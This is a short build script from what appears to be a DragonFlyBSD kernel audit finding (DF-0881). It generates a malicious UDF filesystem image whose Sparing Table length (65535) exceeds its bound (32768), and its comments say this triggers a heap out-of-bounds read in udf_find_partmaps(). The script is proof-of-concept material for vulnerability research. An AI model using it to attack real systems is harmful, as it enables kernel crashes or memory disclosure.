DragonFlyBSD Kernel Audit
DF-0881 / build.sh
← back to finding ↓ download raw
1
2
3
4
5
6
7
8
#!/bin/sh
# DF-0881 build: craft the malicious UDF image (Python3, no compilation needed)
# Produces evil.udf with a Sparing Table whose rt_l (65535) is not bounded by
# st_size (32768), triggering an unbounded heap OOB read in udf_find_partmaps().
set -e
cd "$(dirname "$0")"
python3 craft_evil_udf.py evil.udf 32768 65535
echo "[+] build complete: evil.udf ready"